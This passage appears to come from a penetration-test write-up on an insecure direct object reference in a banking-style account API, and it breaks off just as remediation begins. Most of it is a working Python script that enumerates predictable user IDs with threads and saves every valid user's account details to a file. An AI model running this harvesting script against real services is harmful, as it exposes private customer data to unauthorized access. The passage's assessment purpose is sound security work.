insecure-direct-object-reference-idor

During the assessment of the My Account page, I identified an IDOR vulnerability in the API request responsible for fetching account details. Instead of relying solely on the secure BNKID embedded within the JWT token for authorization, the endpoint accepts a user-controlled useri` in the POST request payload to retrieve account information.

This flaw allows unauthorized access to any user’s account details simply by modifying the userid value in the JSON request.

Exploiting IDOR at scale

We already have a method to enumerate the user base via the Forgot Password page. However, if that avenue were unavailable, this vulnerability provides an alternative means to retrieve user IDs. Notably, the endpoint lacks any form of rate limiting, allowing unrestricted automated enumeration. The following Python script automates this process by:

import requests
import json
from datetime import datetime, timezone
from concurrent.futures import ThreadPoolExecutor, as_completed

# --- Configuration ---
URL = "http://localhost/api/account/details"
OUTPUT_FILE = "valid_account_details.json"
HEADERS = {
    "Content-Type": "application/json",
    "Authorization": "[JWT TOKEN HERE]"
}
MAX_THREADS = 4

valid_results = []

def build_payload(bnk_id):
    return {
        "requestBody": {
            "timestamp": datetime.now(timezone.utc).isoformat(),
            "data": {
                "userid": bnk_id
            }
        }
    }

def check_user(index):
    bnk_id = f"BNK{index:05d}"
    try:
        response = requests.post(URL, headers=HEADERS, json=build_payload(bnk_id), timeout=5)
        if response.status_code != 200:
            return None
        data = response.json()
        if data.get("status") == "Success" and data.get("status_code") == "ACT002":
            print(f"[+] VALID: {bnk_id}{data['data']['fname']} {data['data']['lname']}")
            return data["data"]
    except Exception as e:
        print(f"[ERROR] {bnk_id}: {e}")
    return None

print(f"[*] Starting user enumeration with {MAX_THREADS} threads...\n")

with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
    futures = [executor.submit(check_user, i) for i in range(100000)]
    for future in as_completed(futures):
        user_data = future.result()
        if user_data:
            valid_results.append(user_data)
            with open(OUTPUT_FILE, "w") as f:
                json.dump(valid_results, f, indent=2)

print(f"\n[✓] Enumeration complete. Found {len(valid_results)} valid accounts.")
print(f"[✓] Results saved to {OUTPUT_FILE}.")

This exploit demonstrates how an IDOR vulnerability, when combined with predictable identifiers, can be scaled to harvest sensitive data across the entire user base, emphasizing the critical need for robust authorization checks tied strictly to authenticated sessions rather than user-supplied input.

This is a High to Critical issue (CVSS ~8.0) because it allows unauthorized access to sensitive user data by manipulating user-controlled parameters.

As a remedy, we should: